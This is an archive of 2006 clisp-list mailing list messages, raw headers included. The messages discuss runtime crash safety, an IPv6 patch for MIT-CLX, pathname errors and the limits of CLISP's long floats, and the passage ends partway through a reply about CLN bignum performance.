FILETIME=[DF7D1550:01C7073B] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] An internal function segfaults (and "security") X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 13 Nov 2006 15:53:56 -0000 Don Cohen wrote: >In the case of clisp I'd expect the boundary to be between what's >written in lisp and what's written in c. Other boundaries seem >possible, but less attractive. This means any code written in c and >directly callable from lisp has to do enough checking to prevent >crashes. Doing sanity checks may be hairy, even at the language level. My pet example is the hash table iterator. You can recognize a carefully-defined (that's not free from irony in this context) language in that it acknowledges that such a construct is inherently dangerous, albeit useful. The problem arises when doing updates to the hash table while walking it, esp. updating another element than the current one. Internals pointers to the hashtable structure may become invalid. IIRC, CLtL and CLHS, and the Java Language Specification have a word about that case. "The consequences are unspecified if any attempt is made to add or remove an entry from the hash-table while a maphash is in progress, with two exceptions: [...]" There's no need for threads for that. My point is that even at the language level, forms may be documented whose use in certain circumstances may crash the run-time system. CLHS ?3.6 lists other destructive operations which you can try to crash your favourite implementation. Of course, I agree that it's nice if the implementation never crashes in the cases listed in 3.6. Regards, Jorg Hohle From lisp-clisp-list@m.gmane.org Mon Nov 13 12:29:57 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GjiRJ-0003ei-HA for clisp-list@lists.sourceforge.net; Mon, 13 Nov 2006 12:29:57 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GjiRI-0004ID-3V for clisp-list@lists.sourceforge.net; Mon, 13 Nov 2006 12:29:57 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GjiR1-00017p-KW for clisp-list@lists.sourceforge.net; Mon, 13 Nov 2006 21:29:39 +0100 Received: from etthundrat.olf.sgsnet.se ([193.11.222.85]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 13 Nov 2006 21:29:39 +0100 Received: from mange by etthundrat.olf.sgsnet.se with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 13 Nov 2006 21:29:39 +0100 X-Injected-Via-Gmane: http://gmane.org/ Mail-Followup-To: clisp-list@lists.sourceforge.net To: clisp-list@lists.sourceforge.net From: Magnus Henoch Date: Mon, 13 Nov 2006 21:29:03 +0100 Lines: 24 Message-ID: <874pt3gkfk.fsf@freemail.hu> References: <87psbs3iqf.fsf@freemail.hu> <87lkmg2sw7.fsf@freemail.hu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: etthundrat.olf.sgsnet.se Mail-Copies-To: never Jabber-Id: legoscia@jabber.cd.chalmers.se User-Agent: Gnus/5.110006 (No Gnus v0.6) Emacs/22.0.90 (berkeley-unix) Cancel-Lock: sha1:w7GQ2pCfq2+V5ZSTf0jMzgE64I0= Sender: news X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] MIT-CLX doesn't handle IPv6 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 13 Nov 2006 20:29:57 -0000 Sam Steingold writes: > I don't think MIT-CLX is much different from telent CLX, I think all we > need to do is merge them. Yes, that should be fairly easy. I don't dare to promise anything, but I hope to find time to look at that... > I suggest that you submit your patch there too. Done. > I will commit your patch to clisp as soon as you send the ChangeLog > entry. Like this? 2006-11-13 Magnus Henoch * clx/mit-clx/clx.lisp (*protocol-families*): Add :internet6. * clx/mit-clx/display.lisp (read-xauth-entry): Likewise. Magnus From sds@gnu.org Mon Nov 13 18:58:48 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GjoVE-0006Tr-Go for clisp-list@lists.sourceforge.net; Mon, 13 Nov 2006 18:58:37 -0800 Received: from mta2.srv.hcvlny.cv.net ([167.206.4.197]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GjoVB-0002T8-RX for clisp-list@lists.sourceforge.net; Mon, 13 Nov 2006 18:58:24 -0800 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta2.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J8P004AW9JNQZN0@mta2.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Mon, 13 Nov 2006 21:57:25 -0500 (EST) Received: by loiso.podval.org (Postfix, from userid 500) id F1AE121E082; Mon, 13 Nov 2006 21:57:22 -0500 (EST) Date: Mon, 13 Nov 2006 21:57:22 -0500 From: Sam Steingold In-reply-to: <874pt3gkfk.fsf@freemail.hu> To: clisp-list@lists.sourceforge.net Mail-followup-to: clisp-list@lists.sourceforge.net Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: <87psbs3iqf.fsf@freemail.hu> <87lkmg2sw7.fsf@freemail.hu> <874pt3gkfk.fsf@freemail.hu> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.90 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] MIT-CLX doesn't handle IPv6 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Nov 2006 02:58:49 -0000 > * Magnus Henoch [2006-11-13 21:29:03 +0100]: > > Sam Steingold writes: > >> I don't think MIT-CLX is much different from telent CLX, I think all we >> need to do is merge them. > > Yes, that should be fairly easy. I don't dare to promise anything, > but I hope to find time to look at that... ok, your patch is due by next Monday. :-) [at Gelfand's seminar, that was the standard answer to a student asking "by what time am I supposed to learn everything about FOO" (FOO being Lie algebras, String theory &c &c)] > 2006-11-13 Magnus Henoch > > * clx/mit-clx/clx.lisp (*protocol-families*): Add :internet6. > * clx/mit-clx/display.lisp (read-xauth-entry): Likewise. committed, thanks. -- Sam Steingold (http://sds.podval.org/) on Fedora Core release 5 (Bordeaux) http://palestinefacts.org http://camera.org http://mideasttruth.com http://pmw.org.il http://honestreporting.com http://jihadwatch.org Trespassers will be shot. Survivors will be SHOT AGAIN! From csr21@cantab.net Mon Nov 13 23:30:47 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Gjskp-00060Q-KI for clisp-list@lists.sourceforge.net; Mon, 13 Nov 2006 23:30:47 -0800 Received: from pih-relay04.plus.net ([212.159.14.131]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Gjsko-0008JD-VB for clisp-list@lists.sourceforge.net; Mon, 13 Nov 2006 23:30:47 -0800 Received: from [84.51.132.95] (helo=localhost.localdomain) by pih-relay04.plus.net with esmtp (Exim) id 1Gjskf-0002SA-1n for clisp-list@lists.sourceforge.net; Tue, 14 Nov 2006 07:30:37 +0000 Received: from csr21 by localhost.localdomain with local (Exim 4.60) (envelope-from ) id 1Gjske-0005mg-HM for clisp-list@lists.sourceforge.net; Tue, 14 Nov 2006 07:30:36 +0000 From: Christophe Rhodes To: clisp-list@lists.sourceforge.net References: <87psbs3iqf.fsf@freemail.hu> Date: Tue, 14 Nov 2006 07:30:36 +0000 In-Reply-To: <87psbs3iqf.fsf@freemail.hu> (Magnus Henoch's message of "Sun, 12 Nov 2006 14:19:36 +0100") Message-ID: <87r6w6iixv.fsf@cantab.net> User-Agent: Gnus/5.110004 (No Gnus v0.4) Emacs/21.4 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 1.5 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] MIT-CLX doesn't handle IPv6 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Nov 2006 07:30:48 -0000 Magnus Henoch writes: > When using MIT-CLX on a machine with IPv6 available, I get this error: > > *** - The value of XLIB::FAMILY must be one of :LOCAL, :INTERNET > The value is: 6 > > The patch below seems to fix that. Hi, > Index: clx.lisp > =================================================================== > RCS file: /cvsroot/clisp/clisp/modules/clx/mit-clx/clx.lisp,v > retrieving revision 1.4 > diff -u -r1.4 clx.lisp > --- clx.lisp 13 Apr 2004 16:52:24 -0000 1.4 > +++ clx.lisp 12 Nov 2006 13:13:57 -0000 > @@ -98,6 +98,7 @@ > (:internet . 0) > (:decnet . 1) > (:chaos . 2) > + (:internet6 . 6) > ;; X11/Xauth.h "not part of X standard" > (:Local . 256) > (:Wild . 65535) > Index: display.lisp > =================================================================== > RCS file: /cvsroot/clisp/clisp/modules/clx/mit-clx/display.lisp,v > retrieving revision 1.2 > diff -u -r1.2 display.lisp > --- display.lisp 13 Apr 2004 16:52:23 -0000 1.2 > +++ display.lisp 12 Nov 2006 13:13:57 -0000 > @@ -82,7 +82,7 @@ > family > (ecase family > (:local (map 'string #'code-char address)) > - (:internet (coerce address 'list))) > + ((:internet :internet6) (coerce address 'list))) > number name data)))))) > > (defun get-best-authorization (host display protocol) Just so you know, this is a different workaround from the one that is in telent CLX, which allows for other xauth entries too. Does CLISP's socket code support ipv6, and if so, does the above xauth parsing actually work? (The remainder of CLX also needs changes for support of a new protocol; grep for :internet to find out how much.) Cheers, Christophe From sorokin@oogis.ru Tue Nov 14 05:58:40 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GjyoC-0001CS-Im for clisp-list@lists.sourceforge.net; Tue, 14 Nov 2006 05:58:40 -0800 Received: from smtp.spaceweb.ru ([217.170.76.7]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GjyoA-0003Ts-Mr for clisp-list@lists.sourceforge.net; Tue, 14 Nov 2006 05:58:40 -0800 Received: from [195.201.73.36] (helo=[172.21.0.112]) by smtp.spaceweb.ru with esmtp (Exim 4.60) (envelope-from ) id 1Gjyo0-000103-5e for clisp-list@lists.sourceforge.net; Tue, 14 Nov 2006 16:58:28 +0300 Message-ID: <4559CC2F.4040500@oogis.ru> Date: Tue, 14 Nov 2006 17:01:19 +0300 From: Ru User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <4554BA5A.90304@oogis.ru> <4554BE16.1000800@gnu.org> <4555AAF8.3070506@oogis.ru> <45570BE4.6000802@oogis.ru> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] How to preserve cases while reading and writing files? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Nov 2006 13:58:40 -0000 Hi Sam, Sam Steingold wrote: >Hi Ruslan, > > > >>I prefer CLISP because it multiplatform and support Russian better >>than other distributions, I think so. Am I right? >> >> > >Yes, CLISP is the best lisp wrt i18n. > > > >>(defpackage :test44 (:modern t)) solved my problem of reading from file >>and processing case-sensitive data, but arise new problem. Somewhere >>inside Araneida code (simple web server I used for GUI to my programs) >>spring up an error: >> >>make-pathname: illegal keyword/value pair :|host|, nil in argument list. >>The allowed keywords are #1=(:defaults >> :case :host :device :directory :name :type :version) >> [Condition of type system::simple-keyword-error] >> >>I could not locate from the frame stack output where make-pathname was >>called. Moreover, full search around Araneida code did not find >>make-pathname call. >> >> > >search for ":host" and ":HOST" (grep -i). >search for "pathname". > > > >>I only locate part of my code where the error appears: >> >>(let* ((pn #P"c:/RuProjects/ScenSupport/lisp/")) >> >> > >does (pathname "c:/RuProjects/ScenSupport/lisp/") work? > > > >> (install-handler (http-listener-handler *listener*) >> (make-instance 'static-file-handler :pathname pn) >> (urlstring *ruis-url*) nil)) >> >> > >I am afraid you will need to get rid of the Araneida dependencies before >I can reproduce this. >load uncompiled files (remove *.fas) and see what is actually triggering >this. > > > > >>By the way, can I write to you in Russian? :) >> >> > >personal e-mails, yes. >CLISP-related, no. >CLISP is supported only on the mailing lists and >CLISP lists are English-only. >You wouldn't want to have to read German (or French) discussions here, >would you? > > > I do'nt know why, but when I replace (let* ((pn #P"c:/RuProjects/ScenSupport/lisp/"))... on (let* ((pn (pathname "c:/RuProjects/ScenSupport/lisp/"))) all begin to work OK. I have done several different tests, but could'nt find cause of this. Only one thing I can say, that it is connected somehow with compilation, because error jumped out even when I wrapped above code in defun an did not call it at all. Sam, thank you very much for the help and good luck. -- Sinscerely, Ru Ruslan P. Sorokin sorokin@oogis.ru OOGIS RL http://www.oogis.ru SPIIRAS http://www.spiiras.nw.ru From sds@gnu.org Tue Nov 14 06:09:03 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GjyyC-00028A-84 for clisp-list@lists.sourceforge.net; Tue, 14 Nov 2006 06:09:03 -0800 Received: from janestcapital.com ([66.155.124.107]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Gjyy7-0006jW-Of for clisp-list@lists.sourceforge.net; Tue, 14 Nov 2006 06:08:57 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id ADEB6500060; Tue, 14 Nov 2006 09:08:43 -0500 Message-ID: <4559CDE9.4010109@gnu.org> Date: Tue, 14 Nov 2006 09:08:41 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: Christophe Rhodes , clisp-list@lists.sourceforge.net References: <87psbs3iqf.fsf@freemail.hu> <87r6w6iixv.fsf@cantab.net> In-Reply-To: <87r6w6iixv.fsf@cantab.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] MIT-CLX doesn't handle IPv6 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Nov 2006 14:09:04 -0000 Christophe Rhodes wrote: > Magnus Henoch writes: > > Does CLISP's socket code support ipv6, yes, clisp supported ipv6 since 1999-03-10 Sam. From neuss@ma-patru.mathematik.uni-karlsruhe.de Thu Nov 16 03:29:06 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GkfQY-0006yU-3Y for clisp-list@lists.sourceforge.net; Thu, 16 Nov 2006 03:29:06 -0800 Received: from smtp2.rz.uni-karlsruhe.de ([129.13.185.218] ident=Debian-exim) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GkfQV-0002C7-De for clisp-list@lists.sourceforge.net; Thu, 16 Nov 2006 03:29:06 -0800 Received: from ma-patru.mathematik.uni-karlsruhe.de (ma-patru.mathematik.uni-karlsruhe.de [172.22.2.67]) by smtp2.rz.uni-karlsruhe.de with esmtp (Exim 4.50 #1) id 1GkfQS-0002kh-Ot; Thu, 16 Nov 2006 12:29:00 +0100 Received: from neuss by ma-patru.mathematik.uni-karlsruhe.de with local (Exim 4.63) (envelope-from ) id 1GkfRy-0005jy-91 for clisp-list@lists.sourceforge.net; Thu, 16 Nov 2006 12:30:34 +0100 Sender: neuss@ma-patru.mathematik.uni-karlsruhe.de To: clisp-list@lists.sourceforge.net From: Nicolas Neuss Organization: IPM Date: 16 Nov 2006 12:30:34 +0100 Message-ID: <87odr7k4rp.fsf@ma-patru.mathematik.uni-karlsruhe.de> Lines: 14 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.4 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] very long floats X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 16 Nov 2006 11:29:06 -0000 Hello, for approximation of Pi with the so-called AGM-algorithm, I would like to use floats as long as possible. However, I run in difficulties: (setf (ext::long-float-digits) 10000000) *** - Program stack overflow. RESET [2]> Is there an easy remedy? Thanks, Nicolas From sds@gnu.org Thu Nov 16 06:08:31 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Gkhup-0005Uf-CX for clisp-list@lists.sourceforge.net; Thu, 16 Nov 2006 06:08:31 -0800 Received: from janestcapital.com ([66.155.124.107]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Gkhul-0006qB-Go for clisp-list@lists.sourceforge.net; Thu, 16 Nov 2006 06:08:31 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A0D246D0092; Thu, 16 Nov 2006 09:08:18 -0500 Message-ID: <455C70D1.5030103@gnu.org> Date: Thu, 16 Nov 2006 09:08:17 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: Nicolas Neuss , clisp-list@lists.sourceforge.net References: <87odr7k4rp.fsf@ma-patru.mathematik.uni-karlsruhe.de> In-Reply-To: <87odr7k4rp.fsf@ma-patru.mathematik.uni-karlsruhe.de> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] very long floats X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 16 Nov 2006 14:08:32 -0000 Nicolas Neuss wrote: > Hello, > > for approximation of Pi with the so-called AGM-algorithm, I would like to > use floats as long as possible. However, I run in difficulties: > > (setf (ext::long-float-digits) 10000000) > > *** - Program stack overflow. RESET > [2]> > > Is there an easy remedy? did you read the FAQ? http://clisp.cons.org/impnotes/faq.html#faq-stack try 'ulimit -s' From bruno@clisp.org Thu Nov 16 07:38:18 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GkjJi-0006RE-IP for clisp-list@lists.sourceforge.net; Thu, 16 Nov 2006 07:38:18 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GkjJe-000182-Il for clisp-list@lists.sourceforge.net; Thu, 16 Nov 2006 07:38:18 -0800 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.1/8.13.1) with ESMTP id kAGFc3Xp022129; Thu, 16 Nov 2006 16:38:03 +0100 Received: from marbore.ilog.biz (marbore.ilog.biz [172.17.2.61]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id kAGFbwvL011708; Thu, 16 Nov 2006 16:37:58 +0100 Received: from honolulu.ilog.fr ([172.16.15.18]) by marbore.ilog.biz with Microsoft SMTPSVC(6.0.3790.1830); Thu, 16 Nov 2006 16:38:10 +0100 Received: by honolulu.ilog.fr (Postfix, from userid 1001) id 325A33F420; Thu, 16 Nov 2006 16:35:02 +0100 (CET) From: Bruno Haible To: clisp-list@lists.sourceforge.net, Nicolas Neuss Date: Thu, 16 Nov 2006 16:35:01 +0100 User-Agent: KMail/1.9.1 References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200611161635.01953.bruno@clisp.org> X-OriginalArrivalTime: 16 Nov 2006 15:38:11.0098 (UTC) FILETIME=[38CB67A0:01C70995] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: "Hoehle, Joerg-Cyril" Subject: Re: [clisp-list] very long floats X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 16 Nov 2006 15:38:19 -0000 > for approximation of Pi with the so-called AGM-algorithm, I would like > to > use floats as long as possible. However, I run in difficulties: > > (setf (ext::long-float-digits) 10000000) On 32-bit machines, CLISP bignums have a limited length (ca. 16 MB or so). Also, the algorithm for multiplication in CLISP is O(n^1.69) and for transcendental functions O(n^2.2), where n is the length of the numbers involved. This is suitable for all kinds of general computations up to ca. 10000 or 100000 digits, but not good for multi-million digit stuff. The CLISP bignums have been rewritten as a C++ library, called CLN [1], and there the length is not practically limited, and the multiplication is O(n^1.3). On 64-bit machines, you can now even use numbers larger than 4 GB. Some computation records have been established in the past using CLN. Bruno [1] http://www.ginac.de/CLN/ From neuss@ma-patru.mathematik.uni-karlsruhe.de Thu Nov 16 09:27:05 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Gkl0y-00045B-TV for clisp-list@lists.sourceforge.net; Thu, 16 Nov 2006 09:27:05 -0800 Received: from smtp1.rz.uni-karlsruhe.de ([129.13.185.217] ident=Debian-exim) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Gkl0v-00019u-BY for clisp-list@lists.sourceforge.net; Thu, 16 Nov 2006 09:27:04 -0800 Received: from ma-patru.mathematik.uni-karlsruhe.de (ma-patru.mathematik.uni-karlsruhe.de [172.22.2.67]) by smtp1.rz.uni-karlsruhe.de with esmtp (Exim 4.50 #1) id 1Gkl0p-000447-AB; Thu, 16 Nov 2006 18:26:55 +0100 Received: from neuss by ma-patru.mathematik.uni-karlsruhe.de with local (Exim 4.63) (envelope-from ) id 1Gkl2K-0006Qw-Ud for clisp-list@lists.sourceforge.net; Thu, 16 Nov 2006 18:28:28 +0100 Sender: neuss@ma-patru.mathematik.uni-karlsruhe.de To: clisp-list@lists.sourceforge.net References: <200611161635.01953.bruno@clisp.org> From: Nicolas Neuss Organization: IPM Date: 16 Nov 2006 18:28:28 +0100 In-Reply-To: <200611161635.01953.bruno@clisp.org> Message-ID: <87velfjo77.fsf@ma-patru.mathematik.uni-karlsruhe.de> Lines: 40 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.4 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] very long floats X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 16 Nov 2006 17:27:05 -0000 Hello Bruno, thank you for the answer, although it ruins my intentions to redo more recent Pi calculations using CL/CLISP. May I ask two further questions: 1. I am no expert in large integer computations, but as much as I remember fast FFT multiplication is O(n log n). Up to which number of digits can CLN compete with such approaches? 2. Are there any plans of incorporating improved longfloats (e.g. CLN) into CLISP? Or is this too much work for too little interest? Thank you, Nicolas Bruno Haible writes: > > for approximation of Pi with the so-called AGM-algorithm, I would like > > to > > use floats as long as possible. However, I run in difficulties: > > > > (setf (ext::long-float-digits) 10000000) > > On 32-bit machines, CLISP bignums have a limited length (ca. 16 MB or so). > Also, the algorithm for multiplication in CLISP is O(n^1.69) and for > transcendental functions O(n^2.2), where n is the length of the numbers > involved. > > This is suitable for all kinds of general computations up to ca. 10000 or > 100000 digits, but not good for multi-million digit stuff. > > The CLISP bignums have been rewritten as a C++ library, called CLN [1], > and there the length is not practically limited, and the multiplication > is O(n^1.3). On 64-bit machines, you can now even use numbers larger than > 4 GB. Some computation records have been established in the past using CLN. > > Bruno > > [1] http://www.ginac.de/CLN/ From bruno@clisp.org Fri Nov 17 06:41:41 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Gl4uT-0006wh-3V for clisp-list@lists.sourceforge.net; Fri, 17 Nov 2006 06:41:41 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Gl4uR-0001Dj-HB for clisp-list@lists.sourceforge.net; Fri, 17 Nov 2006 06:41:41 -0800 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.1/8.13.1) with ESMTP id kAHEfUUI023727; Fri, 17 Nov 2006 15:41:30 +0100 Received: from marbore.ilog.biz (marbore.ilog.biz [172.17.2.61]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id kAHEfPsd016650; Fri, 17 Nov 2006 15:41:25 +0100 Received: from honolulu.ilog.fr ([172.16.15.59]) by marbore.ilog.biz with Microsoft SMTPSVC(6.0.3790.1830); Fri, 17 Nov 2006 15:41:38 +0100 Received: by honolulu.ilog.fr (Postfix, from userid 1001) id 5484AF12D3; Fri, 17 Nov 2006 15:38:27 +0100 (CET) From: Bruno Haible To: Nicolas Neuss , clisp-list@lists.sourceforge.net Date: Fri, 17 Nov 2006 15:38:26 +0100 User-Agent: KMail/1.9.1 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Message-Id: <200611171538.27152.bruno@clisp.org> X-OriginalArrivalTime: 17 Nov 2006 14:41:38.0851 (UTC) FILETIME=[7D455730:01C70A56] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] very long floats X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 17 Nov 2006 14:41:41 -0000 > 1. I am no expert in large integer computations, but as much as I remember > fast FFT multiplication is O(n log n). Up to which number of digits c= an > CLN compete with such approaches? =46ast FFT multiplication is, as far as I recall, O(n log n (log log n)^e), e =3D 1 or 2. CLN implements fast FFT; there is no question whether it "competes" with it. This O(n log n (log log n)^e) formula is the theory. What I measured in practice is O(n^1.3). When you look where the log log n factor comes from, it is because in the Sch=F6nhage-Strassen algorithm you do multiplications on integers of size sqrt(n), which you _assume_ obey the same formula. But that's not true in practice: sqrt(n) is below the threshold where FFT wins against Karatsuba. And then you've got to consider the Karatsuba complexity, hence sqrt(n) * (sqrt(n))^1.7 ... > 2. Are there any plans of incorporating improved longfloats (e.g. CLN) in= to > CLISP? Or is this too much work for too 